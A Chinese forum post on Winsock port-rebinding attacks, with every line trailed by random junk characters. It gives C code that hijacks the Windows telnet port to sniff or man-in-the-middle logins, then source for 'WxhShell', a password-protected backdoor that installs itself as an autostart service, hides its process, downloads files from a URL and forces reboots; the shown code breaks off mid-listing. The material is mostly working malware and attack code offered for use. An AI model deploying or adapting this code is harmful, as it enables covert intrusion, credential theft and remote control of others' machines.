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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }QncTw0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S#+G?I3w  
5S$HDO&  
  saddr.sin_family = AF_INET; t2OXm  
Rv q_Zsm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GU'5`Yzd9  
;lX:EU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D{.%Dr?  
Q|gun}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \9se~tAl3  
[p!C+ |rro  
  这意味着什么?意味着可以进行如下的攻击: Eg-b5Z);  
Di*+Cz;gK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =JO|m5z8>  
r'&9'rir2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9z'</tJ`  
~JLqx/[|s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <mY`<(bc  
(:+IS W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L{^DZg|E  
_5U Fml9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #4na>G|  
m3_e]v3{o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 308w0eP  
a' #-%!]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i'e^[oZ  
1LPfn(  
  #include 82J0t}:U  
  #include crgYr$@s?  
  #include QwT ]| 6>  
  #include    ~d5"<`<^o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zZ32K@  
  int main() #mkr]K8A4  
  { R@VO3zsW  
  WORD wVersionRequested; &2xYG{Z  
  DWORD ret; G~B V^  
  WSADATA wsaData; C4 Wdt  
  BOOL val; p*npY"}v  
  SOCKADDR_IN saddr; 6J|f^W-fs  
  SOCKADDR_IN scaddr; TJ; v}HSo  
  int err; \o % ES  
  SOCKET s; EL}v>sC  
  SOCKET sc; p\-.DRwT`  
  int caddsize; --^D)n  
  HANDLE mt; rXm!3E6JL  
  DWORD tid;   A\# ? rK  
  wVersionRequested = MAKEWORD( 2, 2 ); <BU|?T6~  
  err = WSAStartup( wVersionRequested, &wsaData ); 'h= >ej*  
  if ( err != 0 ) { ]oya<C6pR  
  printf("error!WSAStartup failed!\n"); @nc!(P7_  
  return -1; \ 3LD^[qi  
  } "5y^s!/  
  saddr.sin_family = AF_INET; FBY~Z$o0.  
   #[[p/nAy}A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NXmj<azED  
teB {GR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =u'/\nxCF  
  saddr.sin_port = htons(23); @H_LPn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZDDwh&h  
  { ,@!d%rL:4]  
  printf("error!socket failed!\n"); WX=+\`NyJ(  
  return -1; P)\f\yb  
  } 4Dd9cG,lN  
  val = TRUE; RsOK5XnQn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l:|Fs=\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xK y<o  
  { }`M6+.z3F  
  printf("error!setsockopt failed!\n"); 4xYo2X,B  
  return -1; < Ihn1?  
  } V3+%KkN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '~2v/[<`}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |1<Z3\+_/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2 sOc]L:9  
4dok/ +Ec  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4[-9$ r  
  { )Z_i[1V  
  ret=GetLastError(); =|#-Rm^YB  
  printf("error!bind failed!\n"); PA=BNKlH  
  return -1; XM 7zA^-  
  } N-Z 9  
  listen(s,2); p{,fWk  
  while(1) }I10hy~W  
  { qB:`tHy  
  caddsize = sizeof(scaddr); 'H9~rq7  
  //接受连接请求 :Aa^afjJw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lxz %b C@  
  if(sc!=INVALID_SOCKET) $_ i41f[  
  { DVS7N_cx2o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c"$_V[m  
  if(mt==NULL) -)Vj08aP  
  { s-ou;S3s  
  printf("Thread Creat Failed!\n"); bc"N  
  break; POG5x  
  } ' FK"-)s  
  } Wm,,OioK  
  CloseHandle(mt); oaK~:'  
  } B)|s.Ez  
  closesocket(s); W6iIL:sp  
  WSACleanup(); GkC88l9z  
  return 0; S-H3UND"  
  }   lt4UNJ3w  
  DWORD WINAPI ClientThread(LPVOID lpParam) BxqCV%9o  
  { Rta P+6'X  
  SOCKET ss = (SOCKET)lpParam; MDq@:t  
  SOCKET sc; +vnaEy  
  unsigned char buf[4096]; 3OZ}&[3  
  SOCKADDR_IN saddr; 2uHp%fv;  
  long num; fI|1@e1  
  DWORD val; ?7+ 2i\L  
  DWORD ret; p[eRK .$!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -+=8&Wa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ygl!fC 4b  
  saddr.sin_family = AF_INET; &Xav$6+Z1J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4!3I@yZ  
  saddr.sin_port = htons(23); d]^i1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tc',c},h~,  
  { + ThKqC_  
  printf("error!socket failed!\n"); L}mhMxOTi  
  return -1; vKC>t95  
  } ?xet:#R'  
  val = 100; u& Fm}/x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) smU+:~  
  { tFQFpbI  
  ret = GetLastError(); 24Fxx9 g  
  return -1; %([c4el>\F  
  } &M!:,B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k y98/6  
  { cPbz7  
  ret = GetLastError(); }NXESZYoi  
  return -1; Xwi&uyvU&  
  } ?2TH("hV$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'w2;oO  
  { nM`)`!/  
  printf("error!socket connect failed!\n"); f+V':qz  
  closesocket(sc); n3N"Ax  
  closesocket(ss); v`&Z.9!Tz^  
  return -1; $#r(1 Ev  
  } "x)DE,  
  while(1) Nz;;X\GI  
  { DtZm|~)a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q\76jD`m\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4lA+V,#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5[_8N{QC;  
  num = recv(ss,buf,4096,0); {76!  
  if(num>0) ^|C|=q~:  
  send(sc,buf,num,0); 9K|lU:,  
  else if(num==0) ' T]oV~H  
  break; %jk PrI  
  num = recv(sc,buf,4096,0); <Xx\F56zp  
  if(num>0) ^v-'=1ub?  
  send(ss,buf,num,0); 37xxVbik  
  else if(num==0) TeJ `sJ  
  break; <Z' hZ  
  } 0K ?(xB  
  closesocket(ss); Q8?D}h  
  closesocket(sc); Br5Io=/wg  
  return 0 ; "N]o5d   
  } l #Q`f.  
l{9h8]^  
tHbPd.^  
========================================================== \BXVWE|  
or}*tSKX  
下边附上一个代码,,WXhSHELL de9l;zF  
Z@!W? Ed  
========================================================== I&8m5F?$`  
I})t  
#include "stdafx.h" C4]%pi  
2< Bv=B  
#include <stdio.h> @88i/ Z_  
#include <string.h> vv/,Rgv  
#include <windows.h> ^z^e*<{WEl  
#include <winsock2.h> 9Z'eBp  
#include <winsvc.h> X vMG09  
#include <urlmon.h> 9^ p{/Io  
|+-i'N9  
#pragma comment (lib, "Ws2_32.lib") RWCS u$  
#pragma comment (lib, "urlmon.lib") aa8Qs lm  
bK\WdG\;  
#define MAX_USER   100 // 最大客户端连接数 y PYJc  
#define BUF_SOCK   200 // sock buffer ?4e6w  
#define KEY_BUFF   255 // 输入 buffer #Hi]&)p_  
@BUqQ9q:  
#define REBOOT     0   // 重启 AijTT%  
#define SHUTDOWN   1   // 关机 #G` ,  
aLt{X)?  
#define DEF_PORT   5000 // 监听端口 2F @)nh  
xc.D!Iav  
#define REG_LEN     16   // 注册表键长度 9ox|.68q  
#define SVC_LEN     80   // NT服务名长度 :xS&Y\ry  
siYRRr  
// 从dll定义API Y>Hl0$:=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GA.bRN2CI2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AUsQj\Nm%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fx5d@WNa>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 pa3}6P+  
P lH`(n#  
// wxhshell配置信息 p''"E$B/(  
struct WSCFG {  F'FZ?*a  
  int ws_port;         // 监听端口 lk1Gs{(qhH  
  char ws_passstr[REG_LEN]; // 口令 @B[Cc`IN"  
  int ws_autoins;       // 安装标记, 1=yes 0=no \&&(ytL  
  char ws_regname[REG_LEN]; // 注册表键名 ) Zo_6%  
  char ws_svcname[REG_LEN]; // 服务名 (%yc5+f!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !]+Z%ed`%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5!jNL~M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6F.7Ws <  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6h6?BQSE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wZ8 MhE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kN |5 J  
B36puz 0{  
}; OP`Jc$| 6  
'z}M[h K]  
// default Wxhshell configuration 68<Z\WP  
struct WSCFG wscfg={DEF_PORT, =yX&p:-&  
    "xuhuanlingzhe", r>~d[,^$m4  
    1, V!77YFen %  
    "Wxhshell", HJaw\zbL  
    "Wxhshell", E\~ KVn  
            "WxhShell Service", ITIj=!F*  
    "Wrsky Windows CmdShell Service", D`:d'ow~KQ  
    "Please Input Your Password: ", uO@3vY',n  
  1, br;H8-   
  "http://www.wrsky.com/wxhshell.exe", ()M@3={R  
  "Wxhshell.exe" U5CPkH1  
    }; Ldhk^/+  
1Uemsx%'k  
// 消息定义模块 q7f;ZK=f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Wg{oB@(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *UBP]w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2k}-25xxL  
char *msg_ws_ext="\n\rExit."; Zxc7nLKF~  
char *msg_ws_end="\n\rQuit."; (s$u_aq 77  
char *msg_ws_boot="\n\rReboot..."; <2O7R}j7v  
char *msg_ws_poff="\n\rShutdown..."; KBw9(  
char *msg_ws_down="\n\rSave to "; r<X4ER  
p&sK\   
char *msg_ws_err="\n\rErr!"; dG-or  
char *msg_ws_ok="\n\rOK!"; XQ 3*  
4Kn9*V  
char ExeFile[MAX_PATH]; ur<eew@8@i  
int nUser = 0;  6Z&u  
HANDLE handles[MAX_USER]; S1^nC tSF  
int OsIsNt; /ggkb8<3  
Bug}^t{M  
SERVICE_STATUS       serviceStatus; R'I_xjC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hkwa""-  
jc&/}o$K  
// 函数声明 }\f(qw  
int Install(void); qfG tUkSSb  
int Uninstall(void); 6`qr:.  
int DownloadFile(char *sURL, SOCKET wsh); Q:kVCm/;  
int Boot(int flag); HS\3)Ooj>  
void HideProc(void); >bA$SN  
int GetOsVer(void); UiR,^/8ED  
int Wxhshell(SOCKET wsl); &{E`=4T2  
void TalkWithClient(void *cs); _jTwiuMS-  
int CmdShell(SOCKET sock); UV']NH h  
int StartFromService(void); lH)em.#  
int StartWxhshell(LPSTR lpCmdLine); #~4{`]W6  
h;%i/feFg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ln=>@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <r<Dmn|\a  
j!x<QNNX  
// 数据结构和表定义 J-tq8   
SERVICE_TABLE_ENTRY DispatchTable[] = J 0Hm)*  
{ J1tzHa6  
{wscfg.ws_svcname, NTServiceMain}, ) \-96 xd  
{NULL, NULL} tS (i711  
}; 6h2x~@  
t{Hh&HX  
// 自我安装 z|3`0eWIG  
int Install(void) !@pV)RUv7  
{ 4`8IFK  
  char svExeFile[MAX_PATH]; Dd0Qp-:2  
  HKEY key; AhvvuN$n%  
  strcpy(svExeFile,ExeFile); Q+b.-iWR  
>+:r '  
// 如果是win9x系统,修改注册表设为自启动 6Z(*cf/s  
if(!OsIsNt) { 2y+70(E1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _{e&@ d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ht|",1yr+  
  RegCloseKey(key); $N;"}G z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >*`>0Q4y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H DF"]l;  
  RegCloseKey(key); 3}B5hht "D  
  return 0; ADYx.8M|9i  
    } jby~AJf %  
  } /M^V 2=  
} 8:HSPDU.  
else { [jl2\3*  
X`yNR;>  
// 如果是NT以上系统,安装为系统服务 .!JMPf"QEI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3(!/["@7  
if (schSCManager!=0) IXZ(]&we  
{ Vk-W8[W 7  
  SC_HANDLE schService = CreateService ~reQV6oQua  
  ( -F"d0a,  
  schSCManager, / R_ u\?k(  
  wscfg.ws_svcname, ^:4L6  
  wscfg.ws_svcdisp, (Sth:{;  
  SERVICE_ALL_ACCESS, H>?:U]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A&<?   
  SERVICE_AUTO_START, )=jT_?9b   
  SERVICE_ERROR_NORMAL, 908ayfVI  
  svExeFile, T8$%9&j!UE  
  NULL, v"u7~Dw# 1  
  NULL, Fn:.Y8%-  
  NULL, }RcK_w@Jx)  
  NULL, V@vhj R4r\  
  NULL m[Z6VHn  
  ); uR#'lb`3  
  if (schService!=0) ^^G-kg  
  { .OmQ'  
  CloseServiceHandle(schService); ?k{|Lk  
  CloseServiceHandle(schSCManager); gyi)T?uS)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @Q;i.u{V  
  strcat(svExeFile,wscfg.ws_svcname); Gn]d;5P=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r\(v+cd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aS,a_b]  
  RegCloseKey(key); CI,lkO|C  
  return 0; LZ~2=Y< U(  
    } TdQ ]G2  
  } U;\S(s}  
  CloseServiceHandle(schSCManager); j]pohxn$5  
} .Y!;xB/  
} aXe{U}eow  
~|&="K4,:  
return 1; k}D[Hp:m  
} PzjaCp'  
q@w{c=  
// 自我卸载 oW^k7 #<e}  
int Uninstall(void) ~xS@]3n=  
{ jCzGus!rM  
  HKEY key; RCI4~q  
aH%ZetLNJ  
if(!OsIsNt) { 1Gsw-a;a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !:(C"}5wM  
  RegDeleteValue(key,wscfg.ws_regname); np\st7&f6  
  RegCloseKey(key); "YJ[$TG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nO~b=qO  
  RegDeleteValue(key,wscfg.ws_regname); dM Y 0K  
  RegCloseKey(key); /D0RC  
  return 0; 8;TAb.r  
  } 75ZH  
} cVp[ Z#B  
} *4t-e0]j@w  
else { k({2yc#RD&  
q(IZJGb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m}98bw  
if (schSCManager!=0) rFo\+//  
{ 4E2yH6l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .eo~?u<j&  
  if (schService!=0) ^IBGYl5n  
  { "OO96F  
  if(DeleteService(schService)!=0) { ! .AhzU1%Y  
  CloseServiceHandle(schService); %JQ~!3  
  CloseServiceHandle(schSCManager); 6/| 0+G^  
  return 0; 6O9iEc,HM  
  } =p]mX )I_  
  CloseServiceHandle(schService); )!e3.C|V1W  
  } Y]N~vD  
  CloseServiceHandle(schSCManager); }|Uj"e  
} t05_Px!mW  
} RdgVB G#Z1  
GM](=|F  
return 1; s`"OM^[-  
} f')c/Yw  
)GVBE%!WEd  
// 从指定url下载文件 ]ni6p&b>  
int DownloadFile(char *sURL, SOCKET wsh) IZ*}idlkn/  
{ Z`Ax pTl  
  HRESULT hr; ;K_}A4K  
char seps[]= "/"; JWWYVl VC  
char *token; \PbvN\L  
char *file; 3?2<W EYr  
char myURL[MAX_PATH]; ?q _^Rj$  
char myFILE[MAX_PATH]; zG#wu   
_.{zpF=j  
strcpy(myURL,sURL); `FZF2.N  
  token=strtok(myURL,seps); %zzYleJ!]  
  while(token!=NULL) ;WD,x:>blO  
  { {) xWD%  
    file=token; GW3>&j_!d  
  token=strtok(NULL,seps); xYI;V7  
  } x? N.WABr;  
C/G]v*MBQ  
GetCurrentDirectory(MAX_PATH,myFILE); aG(hs J)  
strcat(myFILE, "\\"); w9f _b3  
strcat(myFILE, file); 9_ZBV{   
  send(wsh,myFILE,strlen(myFILE),0); yHNuU)Ft  
send(wsh,"...",3,0); 7X}TB\N1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BX[~% iE  
  if(hr==S_OK) edijfhn  
return 0; R,F gl2  
else gO='A(Y  
return 1; :"<e0wDu[  
@'i+ff\  
} E ] B7  
*%\mZ,s"  
// 系统电源模块 :"QfF@Z{  
int Boot(int flag) NQX>Qh 2  
{ o0ZBi|U\4  
  HANDLE hToken; S8" f]5s  
  TOKEN_PRIVILEGES tkp; i%;"[M  
Z/<#n\>t0>  
  if(OsIsNt) { #f{lC0~vA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :+ Jt^ 6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E  T:T7  
    tkp.PrivilegeCount = 1; 1u~ MXGF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +;Cr];b3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Icx7.Y  
if(flag==REBOOT) { mnjs(x<m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u5Up&QE!>q  
  return 0; 2-dh;[4  
} 3K>gz:dt  
else { Vr=OYI'A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '\"G{jU@  
  return 0; O9s?h3  
} icgJ;Q 5  
  } A]o4Mf0>I  
  else { Bz /@c)  
if(flag==REBOOT) { 1%~[rnQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sw;|'N$:<  
  return 0; q0&$7GH4  
} G:IP? z]  
else { j1*f]va  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BT,b-= ;J-  
  return 0; \X|sU:g  
} yNCEz/4  
} w0w1PE-V=  
h3!$r~T!a:  
return 1; PFrfd_s{>\  
} ]$A(9Pn"  
wL}l`fRB  
// win9x进程隐藏模块 IP3E9z_ L  
void HideProc(void) XNehPZYS  
{ GZ3 ]N  
mchJmZ{A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,LhCFw{8?~  
  if ( hKernel != NULL ) $t}<85YCQ  
  { Sk}{E@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CMW,slC_3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,.tfWN%t\  
    FreeLibrary(hKernel); 9Uf j  
  } +f|BiW  
a.2L*>p  
return; <a( }kk}  
} >Cr\y  
%lw! e  
// 获取操作系统版本 {X~ gwoz  
int GetOsVer(void) n,$z>  
{ !H@0MQ7  
  OSVERSIONINFO winfo; g}x(hF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2% B'3>a  
  GetVersionEx(&winfo); -WJ?:?'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (MLwQiop  
  return 1; Y?d9l  
  else hK|j6x f.o  
  return 0; #%lo;W~IY  
} +4))/` DA  
o0bM=njok  
// 客户端句柄模块 BU|#e5  
int Wxhshell(SOCKET wsl) HKDID[d0  
{ 9?<{_'  
  SOCKET wsh; aUU7{o_Z  
  struct sockaddr_in client; fCWGAO2  
  DWORD myID; )h{ ]k=  
V  ~@^`Gd  
  while(nUser<MAX_USER) ,%9df+5k  
{ uXjP`/R|  
  int nSize=sizeof(client); em{(4!W>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P{Lf5V9# <  
  if(wsh==INVALID_SOCKET) return 1; ocz G|_  
%]2, &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fHRMu:q  
if(handles[nUser]==0) 8s{?v &p  
  closesocket(wsh); d5`3wd]]'v  
else lQ'GX9hN@  
  nUser++; '' O7=\  
  } Dd/wUP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r SkUSe6  
p5r]J+1  
  return 0; v59dh (:`Z  
} (QoI<j""  
;!!n{l$r'  
// 关闭 socket &-d&t` `  
void CloseIt(SOCKET wsh) 9H-|FNz?c  
{ %a+mk E  
closesocket(wsh); G+UMBn  
nUser--; 6 5N~0t  
ExitThread(0); #X 52/8G  
} j)C,%Ol  
H,nec<Jp  
// 客户端请求句柄 UcOk3{(z$q  
void TalkWithClient(void *cs) R\@/U=iqR  
{ /1mW|O>0  
1 i[\T  
  SOCKET wsh=(SOCKET)cs; {8)zg<rL+M  
  char pwd[SVC_LEN]; npJt3 Y_I  
  char cmd[KEY_BUFF]; D=m 'pL/pl  
char chr[1]; [Zei0O  
int i,j; Ms~{9?  
8_<4-<}P:  
  while (nUser < MAX_USER) { 9l,a^@Y:  
?=m?jNa;nC  
if(wscfg.ws_passstr) { Oy U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~T&<CTh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l&iq5}[n&  
  //ZeroMemory(pwd,KEY_BUFF); s7Ub@  
      i=0; n8*;lK8  
  while(i<SVC_LEN) { "j;4 k.`h  
)M6w5g  
  // 设置超时 /x_o!<M  
  fd_set FdRead; x8S7oO7  
  struct timeval TimeOut; QUU;g2k  
  FD_ZERO(&FdRead); ])xx<5Jt4  
  FD_SET(wsh,&FdRead); P:30L'.=[  
  TimeOut.tv_sec=8; 5?hw !  
  TimeOut.tv_usec=0; %?e& WLS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mEw ~yOW]M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X.hm s?]  
na9sm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]gYz 4OT  
  pwd=chr[0]; ~0beuK&p  
  if(chr[0]==0xd || chr[0]==0xa) { S S2FTb-m  
  pwd=0; ~HOy:1QhE=  
  break; H,Z;=N_  
  } DxUKUE  
  i++; |<:vY  
    } yE}}c{hSn  
4"gM<z  
  // 如果是非法用户,关闭 socket {}3${  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !O`(JSoG  
} ;\f gF@  
E_vq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (h >-&.`&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cSXwYZDx?  
q Y#n'&  
while(1) { 5$V_Hj  
^h69Kr#d4  
  ZeroMemory(cmd,KEY_BUFF); 0NS<?p~_S  
gb H<]?  
      // 自动支持客户端 telnet标准   xlhG,bb7  
  j=0; $GlWf  
  while(j<KEY_BUFF) { b )B? F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {q"OM*L(  
  cmd[j]=chr[0]; {NHdyc$  
  if(chr[0]==0xa || chr[0]==0xd) { DRcNdO/1E  
  cmd[j]=0; ;kY(<{2  
  break; &*+'>UEe5  
  } `DV.+>O-1  
  j++; C?lcGt!H  
    } mV3cp rRqv  
_lamn }(x0  
  // 下载文件 V5UF3'3;}  
  if(strstr(cmd,"http://")) { ["h5!vj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ogyTO|V=  
  if(DownloadFile(cmd,wsh))  Vh_P/C+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i\,-oO  
  else 7Zlw^'q$:L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M7pOLP_1jB  
  } WA+iYLx@H  
  else { u6AA4(  
`$ 6rz  
    switch(cmd[0]) { ~_/(t'9  
  vEJWFoeEFm  
  // 帮助 < jJ  
  case '?': { !@}wDt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @7IIM{  
    break; %J+E/  
  } be.*#[  
  // 安装  # 1OOU  
  case 'i': { SLa>7`<Q  
    if(Install()) sS*3=Yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E7rDa1  
    else 4 o Fel.o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0Xf9a8>  
    break; \W~ N  
    } =vX/{C  
  // 卸载 gEy?s8_,  
  case 'r': { [ CQ+p!QZ  
    if(Uninstall()) h2G$@8t}I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q+[n91ey**  
    else YtmrRDQs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GPN]9  
    break; e|"WQ>  
    } Y3Yz)T}UkS  
  // 显示 wxhshell 所在路径 yDzc<p\`  
  case 'p': { KVclhT<F  
    char svExeFile[MAX_PATH]; ]'&LGA`  
    strcpy(svExeFile,"\n\r"); '=b/6@&  
      strcat(svExeFile,ExeFile); ;r<^a6B  
        send(wsh,svExeFile,strlen(svExeFile),0); F1*>y  
    break; ItNz}4o|d  
    } d3\qKL!~  
  // 重启 pM4 :#%V  
  case 'b': { Mk"^?%PxT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H?yK~bGQ  
    if(Boot(REBOOT)) l9{hq/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GeH#I5y  
    else { z&zP)>Pv  
    closesocket(wsh); Kp%2k^U  
    ExitThread(0); xi~?>f  
    } ekWD5,G  
    break; O%Xf!4Z  
    } d; boIP`M;  
  // 关机 ~vm%6CABM  
  case 'd': { Z^3rLCa  
